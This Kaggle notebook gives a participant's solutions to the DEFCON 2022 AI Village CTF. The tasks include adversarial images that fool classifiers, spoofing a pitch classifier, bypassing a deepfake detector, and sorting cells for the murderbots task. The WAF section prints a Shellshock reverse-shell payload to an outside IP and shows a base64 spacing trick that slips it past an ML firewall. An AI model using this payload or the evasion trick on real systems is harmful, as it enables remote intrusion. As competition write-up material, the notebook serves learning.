{"metadata":{"kernelspec":{"language":"python","display_name":"Python 3","name":"python3"},"language_info":{"pygments_lexer":"ipython3","nbconvert_exporter":"python","version":"3.6.4","file_extension":".py","codemirror_mode":{"name":"ipython","version":3},"name":"python","mimetype":"text/x-python"}},"nbformat_minor":4,"nbformat":4,"cells":[{"cell_type":"code","source":"# We're just importing some stuff to make sure the challenges and helper code works.\n# Feel free to import anything else you need (or solve in a different language), but if you overwrite these, provided code may not work.\n\nimport pandas as pd\nimport numpy as np\nimport os\nimport requests\nfrom IPython.display import Image as Ima\nfrom IPython.display import clear_output, display, FileLink\nfrom PIL import Image as Im\nfrom torch.utils.data import Dataset, DataLoader\nimport torch\nimport joblib\nimport matplotlib.pyplot as plt\nimport json\nimport base64\nimport shutil\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\ndir_name = \"/kaggle/input/ai-village-ctf\"\n\n# Input data files are available in the read-only \"../input/\" directory\n# You can write up to 20GB to the current directory (/kaggle/working/) that gets preserved as output when you create a version using \"Save & Run All\" \n# You can also write temporary files to /kaggle/temp/, but they won't be saved outside of the current session","metadata":{"_uuid":"8f2839f25d086af736a60e9eeb907d3b93b6e0e5","_cell_guid":"b1076dfc-b9ad-4769-8c92-a6c4dae69d19","_kg_hide-input":true,"execution":{"iopub.status.busy":"2022-10-08T16:25:37.793959Z","iopub.execute_input":"2022-10-08T16:25:37.794414Z","iopub.status.idle":"2022-10-08T16:25:39.519222Z","shell.execute_reply.started":"2022-10-08T16:25:37.794372Z","shell.execute_reply":"2022-10-08T16:25:39.518034Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# A helper function for tracking flags. You could do it yourself, but why?\n\ndef add_flag(challenge_id: str, flag: str) -> str:\n    try:\n        submission_path = \"/kaggle/working/submission.csv\"\n        template_path = f\"{dir_name}/submission.csv\"\n        if not os.path.isfile(submission_path) :\n            shutil.copyfile(template_path, submission_path)\n        flags = pd.read_csv(submission_path, index_col=\"challenge_id\")\n        valid = flags.index.to_list()\n        if challenge_id in valid:\n            flags.at[challenge_id] = flag\n            flags.to_csv(submission_path)\n            print(\"Flag saved. If you want to update the scoreboard, click 'submit' on the right. Remember that you can only update your score on the scoreboard 50 times per day\")\n        else:\n            print(\"Invalid challenge_id\")\n    except:\n        print(\"We had trouble saving that flag. Keep a copy of it and contact the CTF organizers.\")","metadata":{"_kg_hide-input":true,"execution":{"iopub.status.busy":"2022-10-08T16:25:39.520870Z","iopub.execute_input":"2022-10-08T16:25:39.521184Z","iopub.status.idle":"2022-10-08T16:25:39.528555Z","shell.execute_reply.started":"2022-10-08T16:25:39.521156Z","shell.execute_reply":"2022-10-08T16:25:39.527553Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Solutions for selected problems of DEFCON CTF-2022\n\nI will review here the problems for which I came up with original solutions or where it is interesting to describe how I came to a solution.\n\nFor **math_1** and **wifi** I have used the Multidimensional scaling (MDS) from scikit-learn. It gives reproducible results if you provide a random_state. And happily the seed 0 worked without touching the other parameters.","metadata":{}},{"cell_type":"markdown","source":"# math_1","metadata":{}},{"cell_type":"code","source":"from sklearn.manifold import MDS\n\nx = np.load(f'{dir_name}/math/clusters1.npy')\nmds = MDS(random_state=0)\nx_ = mds.fit_transform(x)\nplt.plot(x_[:,0], x_[:,1], 'o')\n_ = plt.title(\"math_1 multidimensional scaling (MDS)\")","metadata":{"execution":{"iopub.status.busy":"2022-10-08T17:26:25.834653Z","iopub.execute_input":"2022-10-08T17:26:25.835076Z","iopub.status.idle":"2022-10-08T17:26:26.260616Z","shell.execute_reply.started":"2022-10-08T17:26:25.835043Z","shell.execute_reply":"2022-10-08T17:26:26.259510Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# wifi","metadata":{}},{"cell_type":"code","source":"from sklearn.manifold import MDS\nm = np.load(f'{dir_name}/wifi/Embedded_characters.npz')\ntokens = str(m['tokens'])\ne = m['embeddings']\nmds = MDS(random_state=0)\nx_ = mds.fit_transform(e)\nx_.shape\n\ndef plot_embedding():\n    plt.plot(x_[:,0], x_[:,1], 'o')\n    for i in range(188):\n        plt.text(x_[i,0], x_[i,1], str(tokens)[i], color='r', clip_on=True)\n\nplt.figure(figsize=(12.8, 4.8))\nplt.subplot(1, 3, 1)\nplot_embedding()\nplt.title(\"MDS of the points\")\n\nplt.subplot(1, 3, 2)\nplt.xlim(-0.5, 0.5)\nplt.ylim(-0.5, 0.5)\nplot_embedding()\nplt.title(\"Zoomed\")\n\nplt.subplot(1, 3, 3)\nplt.xlim(0, 0.1)\nplt.ylim(-0.20, -0.05)\nplot_embedding()\n_ = plt.title(\"Zoomed even more\")","metadata":{"execution":{"iopub.status.busy":"2022-10-08T17:26:32.148370Z","iopub.execute_input":"2022-10-08T17:26:32.149499Z","iopub.status.idle":"2022-10-08T17:26:34.157089Z","shell.execute_reply.started":"2022-10-08T17:26:32.149464Z","shell.execute_reply":"2022-10-08T17:26:34.155923Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# HOTTERDOG (id: hotterdog) -- 400 Points\n\n### Scenario\n\nChester submitted himself in the \"most creative hotdog\" contest. They use machine vision to score the hotdogs, but oh no he already submitted his headshot.\n\n### Objective\n\nHelp Chester classify as a hotdog, but it has to look like Chester to a human. Modify his picture to fool a classifier.","metadata":{}},{"cell_type":"markdown","source":"### Solution\n\nIt really took me ages to solve this problem, but I was happy to finish just before the deadline. The main issue was that I didn't know what model to optimize. I tried to optimize Inception_v3 and ResNet50_v2, but the score of the target model didn't grow.\n\nHere is the final solution.\n\nIndeed, we could use the model from the **forensics** challenge. The only trick is disable_eager_execution(), otherwise the inference will not work due to the special meaning of the name of the model.\n\nLater I found that this model was the same as Mobilenet, which was suggested in the helper code for **theft**.\n\nI found an interesting flaw in the \"image change detection\" system. Firstly, it converted the image to grayscale. Secondly, before proceeding it stretched the histogram to 0..255. So, here is what I did: I converted the image to grayscale and shrank the histogram 3 times to 0..255/3. Then I could change the color component in such a way that it does not change the gray scale image.\nI define \"apply a color (r,g,b) to a grayscale intensity i\" as setting the pixel color to $ (i \\div (k_r \\cdot r + k_g \\cdot g + k_b \\cdot b)) \\cdot [r,g,b] $\n where $k_r = 0.2989$, $k_g = 0.5870$, $k_b = 0.1140$ are well known rgb2gray conversion constants. Given these values we can apply a certain range of colors without oversaturating the image (including pure green, red-green, etc.). The image may be saturated if we apply pure red or pure blue channel (since the coefficients are less than 1/3). Note: 128-red may also oversaturate because k_r is less that 1/3.\n\nThen the procedure was the following:\n1. Take the original image.\n2. Apply 50 random perturbations as in step 4.\n3. **For** i **in** range(1000):\n4. ...Draw a random line of random thickness on the image by applying its color to the image.\n5. ...If this increases the score, accept this change, otherwise reject this change.\n6. **End For**\n\nThe final solution was the following:\n\n\n","metadata":{}},{"cell_type":"code","source":"Ima(\"../input/ctf-2022/hotterdog.png\")","metadata":{"execution":{"iopub.status.busy":"2022-10-08T17:37:35.691091Z","iopub.execute_input":"2022-10-08T17:37:35.691518Z","iopub.status.idle":"2022-10-08T17:37:35.707127Z","shell.execute_reply.started":"2022-10-08T17:37:35.691483Z","shell.execute_reply":"2022-10-08T17:37:35.705902Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"As you can see, I drew the color noise only over the dog in order to perturb the positive signal for the dog classes.\n\nThe same approach worked for the **theft** challenge.\n\nFor **salt**, after each perturbation I applied random Gaussian noise. If the minimum score of 5 random noises was greater than the previous score, the change was accepted, otherwise rejected.\n\nHere are the final images for **theft** and **salt**:","metadata":{}},{"cell_type":"code","source":"Ima(\"../input/ctf-2022/theft.png\")","metadata":{"execution":{"iopub.status.busy":"2022-10-08T17:38:03.490280Z","iopub.execute_input":"2022-10-08T17:38:03.490686Z","iopub.status.idle":"2022-10-08T17:38:03.505449Z","shell.execute_reply.started":"2022-10-08T17:38:03.490653Z","shell.execute_reply":"2022-10-08T17:38:03.504330Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"Ima(\"../input/ctf-2022/salt.png\")","metadata":{"execution":{"iopub.status.busy":"2022-10-08T17:38:20.701873Z","iopub.execute_input":"2022-10-08T17:38:20.702267Z","iopub.status.idle":"2022-10-08T17:38:20.718241Z","shell.execute_reply.started":"2022-10-08T17:38:20.702234Z","shell.execute_reply":"2022-10-08T17:38:20.717045Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"import numpy as np\nfrom keras.preprocessing import image\nfrom keras.applications import inception_v3\nfrom keras import backend as K\nfrom PIL import Image\n\nimport tensorflow as tf\n\ntf.compat.v1.disable_eager_execution()\n\nmodel = tf.keras.models.load_model(f\"{dir_name}/forensics/forensics.h5\")\nsize = (224, 224)\n\nimport numpy as np\nfrom keras.preprocessing import image\nfrom keras.applications import inception_v3\nimport tensorflow as tf\n\ndef classify(input_image, verbose=False):\n    \"\"\" input_image is 0..255 floating image \"\"\"\n\n    object_type_to_fake = 934\n    \n    # Scale the image so all pixel intensities are between [-1, 1] as the model expects\n    input_image /= 255.\n    input_image -= 0.5\n    input_image *= 2.\n\n    # Add a 4th dimension for batch size (as Keras expects)\n    input_image = np.expand_dims(input_image, axis=0)\n\n    # Run the image through the neural network\n    predictions = model.predict(input_image)\n\n    # Convert the predictions into text and print them\n    if verbose:\n        predicted_classes = inception_v3.decode_predictions(predictions, top=1)\n        imagenet_id, name, confidence = predicted_classes[0][0]\n        print(\"This is a {} with {:.4}% confidence!\".format(name, confidence * 100))    \n\n    return predictions[0, object_type_to_fake], (np.argmax(predictions) == object_type_to_fake)\n\n\nfrom matplotlib import pyplot as plt\nimport numpy as np\nfrom skimage import color\nfrom keras.preprocessing import image\nimport cv2\nfrom PIL import Image\nimport time\n\ndef rgb2gray(x):\n    return 0.2989 * x[:,:,0] + 0.5870 * x[:,:,1] + 0.1140 * x[:,:,2]\n\ndef submit(img): \n    \"\"\"img_bytes = img.tobytes()\n    b64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\n    try:\n        r = requests.post(\"https://hotterdog.fly.dev/score\", data=json.dumps({\"input\": b64_img_bytes.decode()}))\n        print(r.text)\n        if r.text == b'{\"message\": \"What even is this?\"}':\n            print(r.text)\n            return None\n        x = json.loads(r.text)\n        return x['output']\n    except requests.exceptions.ConnectionError:\n        print(\"********\")\n        print(\"Connection problems. Contact the CTF organizers.\")\n    except Exception as exc:\n        print(\"********\")\n        print(r.text)\"\"\"\n    pass\n\nh = w = 224\n\nimg = image.load_img(f\"{dir_name}/hotterdog/chester.png\", target_size=(h, w))\nimg = image.img_to_array(img)\n\nimg = np.array(np.round(img), dtype=np.uint8)\n\nimg = rgb2gray(img)\nimg = img / 3\nimg = np.array(img, np.uint8)\nimg_orig = img.copy()\n\ndef gen_noise(noise, n_repeats):\n    if noise is None:\n        noise = np.zeros((h,w,3), dtype=np.uint8)\n    min_x = np.random.randint(60, 80)\n    max_x = np.random.randint(140, 160)\n    min_y = np.random.randint(0, 20)\n    max_y = np.random.randint(204, 224)\n    for i in range(n_repeats):\n        x0 = 0\n        x1 = 0\n        y0 = 0\n        y1 = 0\n        while x0 < min_x or max_x < x0 or x1 < min_x or max_x < x1 or \\\n            y0 < min_y or max_y < y0 or y1 < min_y or max_y < y1: \n            x0, y0, x1, y1 = np.random.randint(h, size=4)\n        c = [(255,128,0),(0,255,0),(128,128,0),(128,0,0),(255,128,128),(128,128,128),(0,255,128)][np.random.randint(7)]\n        noise = cv2.line(noise, (x0, y0), (x1, y1), c, np.random.randint(5,15))\n    noise[np.mean(noise,2)==0] = 1\n    return noise\n\ndef compose(img, noise):\n    img = (np.array(img, dtype=float) / rgb2gray(noise))[:, :, np.newaxis] * noise\n    return img\n\nnc = 0\nfor i_image in range(1, 2):  #576, 10000):\n    time.sleep(1)\n    np.random.seed(i_image+1)\n    noise = gen_noise(None, 50)\n    img_composed = compose(img_orig, noise)\n    \n    old_score, is_hotdog = classify(img_composed.copy())\n    print(old_score)\n    for i in range(1001):\n        new_noise = gen_noise(noise.copy(), 1)\n        img_composed = compose(img_orig, new_noise)\n        new_score, is_hotdog = classify(img_composed.copy())\n        if new_score > old_score:\n            noise = new_noise\n            old_score = new_score\n        \n        if i % 100 == 0:\n            print(i, old_score)\n            img_composed = compose(img_orig, noise)\n            _, is_hotdog = classify(img_composed.copy(), verbose=True)\n            \n        if i % 1000 == 0:\n            img_composed = compose(img_orig, noise)\n            img = np.array(img_composed, dtype=np.uint8)\n\n            plt.imsave(\"chester_hotdog.png\", img)\n\n            result = submit(Image.fromarray(img))\n            if result != None:\n                c = result[0]\n                print(c)\n            if is_hotdog:\n                break","metadata":{"execution":{"iopub.status.busy":"2022-10-08T18:27:00.224234Z","iopub.execute_input":"2022-10-08T18:27:00.224666Z","iopub.status.idle":"2022-10-08T18:27:43.391032Z","shell.execute_reply.started":"2022-10-08T18:27:00.224630Z","shell.execute_reply":"2022-10-08T18:27:43.389242Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"Ima(\"chester_hotdog.png\")","metadata":{"execution":{"iopub.status.busy":"2022-10-08T17:54:49.462470Z","iopub.execute_input":"2022-10-08T17:54:49.462933Z","iopub.status.idle":"2022-10-08T17:54:49.471402Z","shell.execute_reply.started":"2022-10-08T17:54:49.462895Z","shell.execute_reply":"2022-10-08T17:54:49.470377Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Baseball  (id: baseball) -- 300 Points\n\n### Scenario\n\nHenry has to miss baseball tryouts to get ready for his date. Can you cover for him? Henry is a pitcher and the team uses software to analyze pitch patterns to classify pitchers. \n\n### Objective\n\nThrow 15 pitches at x,y (each bounded on [0,29]). Check out `test_pitch.json` to see the expected format. Can you throw 15 pitches to get classified as Henry?\n\n### Solution\n\nI have solved it quite quickly. Here is the way of my thoughts.\n\nAs a result we needed to provide 15 unique points from the square [0,29] X [0,29]. I tried submitting 15 random points and after a few tries got it classified as Henry, but the score was not high enough.\n\nI then assumed that the model is computing the maximum of the likelihoods. Each likelihood is with respect to a multinomial distribution where each point of the square has a certain probability of being classified as each of the players. So I though, why not to take a set of points that classifies as Henry and to change the position of the last point over all the possible remaining points (remember, that points cannot repeat). To reduce the search I took every second point along X and Y.","metadata":{}},{"cell_type":"code","source":"np.random.seed(1)\npitches = None\nwhile pitches is None:\n    pitches = np.random.randint(0, 29+1, size=(15,2))\n    pitches2 = pitches[:,0] + 30*pitches[:,1]\n    if len(np.unique(pitches2)) < 15:\n        pitches = None\nplt.figure(figsize=(9.6, 4.8))\nplt.subplot(1,2,1)\nplt.plot(pitches[:14,0], pitches[:14,1], 'or')\nplt.plot(pitches[14,0], pitches[14,1], 'ob')\nfor i in range(15):\n    plt.text(pitches[i,0], pitches[i,1], str(i+1))\nplt.title(\"Initial positions of points\")\nplt.subplot(1,2,2)\nplt.plot(pitches[:14,0], pitches[:14,1], 'or')\nfor i in range(14):\n    plt.text(pitches[i,0], pitches[i,1], str(i+1))\nother_points = []\nfor i in range(0, 29+1, 2):\n    for j in range(0, 29+1, 2):\n        if len(np.flatnonzero(np.sum(pitches[:14] == np.array([[i, j]]), 1)==2)) == 0:\n            other_points.append([i, j])\nother_points = np.array(other_points)\nplt.plot(other_points[:,0], other_points[:,1],'om')\n_ = plt.title(\"The last point goes over all possible positions\")","metadata":{"execution":{"iopub.status.busy":"2022-10-08T17:28:33.239968Z","iopub.execute_input":"2022-10-08T17:28:33.240339Z","iopub.status.idle":"2022-10-08T17:28:33.565487Z","shell.execute_reply.started":"2022-10-08T17:28:33.240308Z","shell.execute_reply":"2022-10-08T17:28:33.564365Z"},"_kg_hide-input":true,"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"In such a way I gathered a list of scores and assumed they all come from a multinomial distribution. Therefore they can be written as:\n\n$$p(s_1,\\ldots,s_{15}) = p_{s_1} \\cdots p_{s_{14}} \\cdot p_{s_{15}} = Z \\cdot p_{s_{15}} = q_{s_{15}} \\qquad (1)$$\n\nwith $s_i$ being a pair of $(x_i, y_i)$.\n\nThen I took the set of all $q_s$ (except 14 points and points that where not classified as Henry) and renormalized them.\n\nI tried to sample a set of 15 points from that distribution, but it happened to get a lower score than expected. Then I took the points with 15 maximum scores $q_s$ and it worked!","metadata":{}},{"cell_type":"code","source":"# Here is the list of points that I got:\npitches = [\n (6, 18),\n (10, 12),\n (12, 10),\n (12, 16),\n (12, 18),\n (16, 6),\n (16, 10),\n (16, 12),\n (18, 10),\n (18, 12),\n (18, 20),\n (20, 12),\n (20, 20),\n (22, 18),\n (24, 18)\n]\n# Most of the points lie inside or close to [9,18]X[9,18] as suggested in the answers of\n# other participants","metadata":{"execution":{"iopub.status.busy":"2022-10-08T17:34:21.360313Z","iopub.execute_input":"2022-10-08T17:34:21.360764Z","iopub.status.idle":"2022-10-08T17:34:21.369063Z","shell.execute_reply.started":"2022-10-08T17:34:21.360728Z","shell.execute_reply":"2022-10-08T17:34:21.367590Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# WAF (id: waf) -- 500 Points\n\n### Scenario\n\nA ML model has been built to detect a 0-day. This model is used by a Web Application Firewall to block malicious requests.\n\n### Objective\n\nThe goal of the challenge is to discover what the 0-day is by what it is blocking, and then bypass the WAF to exploit the system.\n\nPS: The WAF assesses malicious strings in 5 characters blocks.\n\n\n### Solution","metadata":{"execution":{"iopub.status.busy":"2022-07-25T14:57:01.386134Z","iopub.execute_input":"2022-07-25T14:57:01.38663Z","iopub.status.idle":"2022-07-25T14:57:01.39651Z","shell.execute_reply.started":"2022-07-25T14:57:01.386588Z","shell.execute_reply":"2022-07-25T14:57:01.394443Z"}}},{"cell_type":"code","source":"from base64 import b64decode, b64encode\n\n# Previously I had some experience with base64, so I solved this task rather quickly compared\n# to other tasks.\n\n# Here is my exploration order\n\"mFzaC==\"  # (1) MALICIOUS REQUEST CAUGHT BY WAF 0.00952, but cannot be decoded from base64\n\"MDEyMzQ1==\" # (2) b64('012345') # REQUEST IS SAFE [\"MDEyM\", 0.1582], [\"zQ1==\", 0.1582]\n\"MDEyMw==\" # (3) b64('0123') # REQUEST IS SAFE [\"MDEyM\", 0.1582], [\"w==\", 0.1582]\n\"mFza==\" # (4) base 64 decoding error, but can be decoded\n\"mFzaCaaa==\" # (5) MALICIOUS REQUEST CAUGHT BY WAF [\"mFzaC\", 0.00952]\n\"aaaaaaaa==\" # (6) base 64 decoding error, but can be decoded\n\"FzaC==\" # (7) base 64 decoding error, but can be decoded\n\"aaamFzaC==\" # (8) base 64 decoding error, but can be decoded\n\"aaaaamFzaC==\" # (9) MALICIOUS REQUEST CAUGHT BY WAF [\"aaaaa\", 0.1582], [\"mFzaC\", 0.00952]\n\n# Then I thought, ok maybe I can find a letter that comes before mFzaC\n\nb64decode('amFzaC==')\nb'jash'\nb64decode('bmFzaC==')\nb'nash'\nb64decode('cmFzaC==')\nb'rash'\nb64decode('dmFzaC==')\nb'vash'\nb64decode('emFzaC==')\nb'zash'\nb64decode('fmFzaC==')\nb'~ash'\n# The latter will contain non-letter symbols.\n# Then I remembered, that we can use Uppercase too.\nb64decode('ZmFzaC==')\nb'fash'\nb64decode('YmFzaC==')\nb'bash'\n# And I thought:\"Yes, that's it.\"\n# Then I thought that maybe the string is a sort of #!/bin/bash\n# I tried to prepend more letters:\nb64encode(bytes('/bash',encoding='utf8'))\nb'L2Jhc2g='  # this was probably not caught\nb64encode(bytes('n/bash',encoding='utf8'))\nb'bi9iYXNo'  # and this too\nb64encode(bytes('in/bash',encoding='utf8'))\n\"aW4vYmFzaC==\" # b64('in/bash') # (10) \"MALICIOUS REQUEST CAUGHT BY WAF\" [\"aW4vY\", 0.00779]\n\n# I thought: OK, prepending 3 symbols gives 4 b64 symbols, let's prepend 3 more\n\n\"IS9iaW4vYmFzaA==\" # (11) b64('!/bin/bash') # MAL.REQ.CAUGHT [\"IS9ia\", 0.1582], [\"W4vYm\", 0.00759]\n\"IyEvYmluL2Jhc2g=\" # (12) b64('#!/bin/bash') REQUEST IS SAFE\n\"YmluL2Jhc2g=\" # (13) b64('bin/bash') REQUEST IS SAFE\n\"IS8vYmluL2Jhc2ggbHM=\" # (14) '!//bin/bash ls' REQUEST IS SAFE\n\"IyMjIS9iaW4vYmFzaCA=\" # (15) '###!/bin/bash ' MAL.REQ.CAUGHT \n                       # [\"IyMjI\", 0.1582], [\"S9iaW\", 0.1582], [\"4vYmF\", 0.00785]\n# Then I looked at results (10) and (11) and saw that the first malicious blocks\n# are shifted versions of each other in a larger string. Here it is already clear, that\n# the system outputs blocks up to the first malicious block.\n\n# I tried to reproduce the whole string from what I knew:\n\"vYmFz\" # (16) \"MALICIOUS REQUEST CAUGHT BY WAF\", \"output\": [\"vYmFz\", 0.00813]\n\"YmFza\" # (17) MALICIOUS REQUEST CAUGHT BY WAF\", \"output\": [\"YmFza\", 0.0087]\n# malicious: aW4vY,W4vYm,4vYmF,vYmFz,YmFza,mFzaC \n# score:     00779,00759,00785,00813,0087 ,00952\n\n# Scores don't really give any information.\n\n# Then I wrote a script that searches the next letter by submitting all combinations\n# of the given 4 characters + a valid base64 character (FzaCa, FzaCb, FzaCc, etc.). \n# As the WAF system stops on the first malicious block of 5 characters, it outputs\n# the malicious block in the end of the list. Then we omit the first character and repeat.\n\n# Going in the opposite direction, I have reconstructed the beginning of the string.\n\n# In such a way I got the whole string and decoded it from base64.\n\n# (18) The whole string is:\n\"KCkgeyA6O307IC9iaW4vYmFzaCAtaSA+JiAvZGV2L3RjcC8yMjcuMjI3LjIyNy4yMjc=\"\n\n# Note that there was a cycle in the end of the string and I had to stop my code in order\n# to break the loop.\n\n# Here is the malicious script:\n\"() { :;}; /bin/bash -i >& /dev/tcp/227.227.227.227\"\n\n# (19) I tried to remove a space in the beginning, but the string were still considered malicious.\n# (){ :;}; /bin/bash -i >& /dev/tcp/227.227.227.227\n\"KCl7IDo7fTsgL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzIyNy4yMjcuMjI3LjIyNw==\"\n# MALICIOUS REQUEST FOUND BY WAF 4yMjc\n\n# The reason is in that repetitive 227 part that gets converted to the same base64\n# irrespectively of initial shift (note that we cannot add spaces to IP address)\n\n# (20) I tried to apply some bash tricks but that didn't work\n# (){ :;}; X=227;/bin/bash -i >& /dev/tcp/$X.$X.$X.$X\n\"KCl7IDo7fTsgWD0yMjc7L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLyRYLiRYLiRYLiRY\"\n# REQUEST IS SAFE\n\n# (21) I even tried to submit the whole string to the system :)\n\"() { :;}; /bin/bash -i >& /dev/tcp/227.227.227.227\"\n# base64 decoding error\n\n# Then I saw a hint on Discord, that spaces count as valid base64, so I tried to play with spaces \n\n# (22) Apparently adding a space in the beginning doesn't work\n\" KCkgeyA6O307IC9iaW4vYmFzaCAtaSA+JiAvZGV2L3RjcC8yMjcuMjI3LjIyNy4yMjc=\"\n# MALICIOUS REQUEST CAUGHT BY WAF\", \"output\": [[\" KCkg\", 0.1582], [\"eyA6O\", 0.01017]]}\n\n# (23) And finally I split the string in blocks of 4 symbols and that worked \n\"KCkg eyA6 O307 IC9i aW4v YmFz aCAt aSA+ JiAv ZGV2 L3Rj cC8y Mjcu MjI3 LjIy Ny4y Mjc=\"\n_ = _","metadata":{"execution":{"iopub.status.busy":"2022-10-03T21:05:38.622716Z","iopub.execute_input":"2022-10-03T21:05:38.623505Z","iopub.status.idle":"2022-10-03T21:05:38.640314Z","shell.execute_reply.started":"2022-10-03T21:05:38.623450Z","shell.execute_reply":"2022-10-03T21:05:38.638886Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# DeepFake (id: deepfake) -- 800 Points\n\n### Scenario\nYour very famous boss was caught saying some disparing things about dogs. Naturally, the dog lobby is not happy. To make matters worse, they paid someone to make a deepfake that was caught by a SuperSecretDeepFakeDefenseSystem.  \n\n### Objective\nFix the `sample.mp4` to bypass the SuperSecretDeepFakeDefenseSystem and get your boss out of the media.\n\n### Solution\n\nI tried constructing a video with only 1 frame where the glasses were removed by the deepfake system. That gave the score around 0.97. Then I removed the rest of the glasses in GIMP, that gave the score of 1.0. When I took a frame where the glasses were present, I received the flag. I think that was actually the frame from the original video where the deepfake system didn't work at all.\n\nHere is the image:","metadata":{}},{"cell_type":"code","source":"display(Ima(\"../input/ctf-2022/deepfake.jpg\"))","metadata":{"execution":{"iopub.status.busy":"2022-10-08T17:39:00.757138Z","iopub.execute_input":"2022-10-08T17:39:00.757539Z","iopub.status.idle":"2022-10-08T17:39:00.785417Z","shell.execute_reply.started":"2022-10-08T17:39:00.757505Z","shell.execute_reply":"2022-10-08T17:39:00.784338Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Don't free the murderbots (id: murderbots) -- 300 Points\n\n### Scenario\n\nSomeone has put you in a very large facility with a very large number of cells. All these cells open from the outside. You are on the inside. This state of affairs is arguably suboptimal.\n\nGood news: You've gained access to the control panel for the cells on the other side of your hallway. At least some of them have other fleshy meatbags like yourself that might be willing to help you in your escape, or at least serve as distractions.  You can't open your own cell, but you can open theirs.\n\nBad news:  You can't see inside the cells.  Any cells that don't have squishy lumps of talking protein have murderbots. Murderbots that enter fits of insane violent rage when provoked (provocations include: seeing the murderbot, being seen by the murderbot, thinking too hard about not being seen by a murderbot, producing heat in excess of ambient room temperature, or consuming more oxygen than the facility average for inanimate objects).\n\nMore good news: You *can* see the occupants of some cells on a few other hallways, and you can see environmental information for all of the cells everywhere.\n\nMore bad news: If you open the wrong cell doors you and all of the other lumps of inexplicably thinking meat are *definitely* going to get murderbotted. Hard. All over the walls and doors and ceiling and the floor. In an exciting number of very small pieces.\n\n\n### Objective\n\nUse the provided environmental information to decide which occupants of the corresponding cells to release.  The flag will be a string of 1 and 0 values, where a '1' means 'open this door' and a 0 means 'please do not release the murderbot'.  If, for instance, there were 20 cells and you wanted to releast the first three, the sixth, and seventh cell, your flag would look like this: `11100110000000000000`\n\nRelease at least 10 humans and exactly 0 murderbots to collect the flag.  You do *not* have to release all the humans: 10 is sufficient.\n\nThe file `murderbots/train_data.json` has environmental information for cells not on your floor and `murderbots/train_labels.json` contains the information about their occupants -- `1` is a disgusting primate, `0` is a pure and perfect killing machine of chrome and steel.  The file `murderbots/test_data.json` has the environmental information about cells on your block.\n\n### Solution\n\nI first normalized the scores by mean and variance and then applied MDS. I plotted positive examples in green, negative in red and test points in blue. Then I manually selected the points that were far away from negatives and close to positives and it worked.","metadata":{}},{"cell_type":"code","source":"import numpy as np\nfrom matplotlib import pyplot as plt\nimport json\nfrom sklearn.manifold import MDS\n\ndef load_data(path, n):\n    with open(path) as f:\n        data = json.load(f)\n    X = np.zeros((n, 4))\n    for i, field in enumerate(['temperature', 'movement_events', 'water_usage', 'power_usage']):\n        for j in range(n):\n            X[j, i] = data[field][str(j)]\n    return X\n\ndef load_labels(path, n):\n    with open(path) as f:\n        data = json.load(f)\n    data = data['contains_human']\n    y = np.zeros(n, dtype=int)\n    for i in range(n):\n        y[i] = int(data[str(i)])\n    return y\n\ndef normalize_data(X):\n    X -= np.mean(X, 0)[np.newaxis, :]\n    X /= np.std(X, 0)[np.newaxis, :]\n    return X\n\nX_train = load_data(f'{dir_name}/murderbots/train_data.json', 200)\nX_test = load_data(f'{dir_name}/murderbots/test_data.json', 50)\nX = np.vstack([X_train, X_test])\ny_train = load_labels(f'{dir_name}/murderbots/train_labels.json', 200)\n\nplt.figure(figsize=(10, 6))\nmds = MDS(random_state=0)\nX_ = mds.fit_transform(X)\ni1 = np.flatnonzero(y_train == 0)\nplt.plot(X_[i1,0], X_[i1,1], 'ro', label='robot')\ni2 = np.flatnonzero(y_train == 1)\nplt.plot(X_[i2,0], X_[i2,1], 'go', label='human')\ni3 = np.arange(len(X_train), len(X))\nplt.plot(X_[i3,0], X_[i3,1], 'bo', label='new')\nplt.legend()\ndef closest(c):\n    d = np.sum((X_ - c[np.newaxis, :])**2, 1)\n    return np.argmin(d)\n'''\nmask = np.zeros(50, dtype=int)\ndef onclick(event):\n    global mask\n    i = closest(np.array([event.xdata, event.ydata]))\n    mask[i - 200] = 1\n    ints = list(mask)\n    strs = [str(i) for i in ints]\n    print(\"\".join(strs))\n \ncid = plt.gcf().canvas.mpl_connect('button_press_event', onclick)\nplt.show()\n'''\n_ = _\n# 00000000001011000001011000000010001000001000000100","metadata":{"execution":{"iopub.status.busy":"2022-10-08T17:14:25.149646Z","iopub.execute_input":"2022-10-08T17:14:25.150081Z","iopub.status.idle":"2022-10-08T17:14:26.574432Z","shell.execute_reply.started":"2022-10-08T17:14:25.150044Z","shell.execute_reply":"2022-10-08T17:14:26.573388Z"},"trusted":true},"execution_count":null,"outputs":[]}]}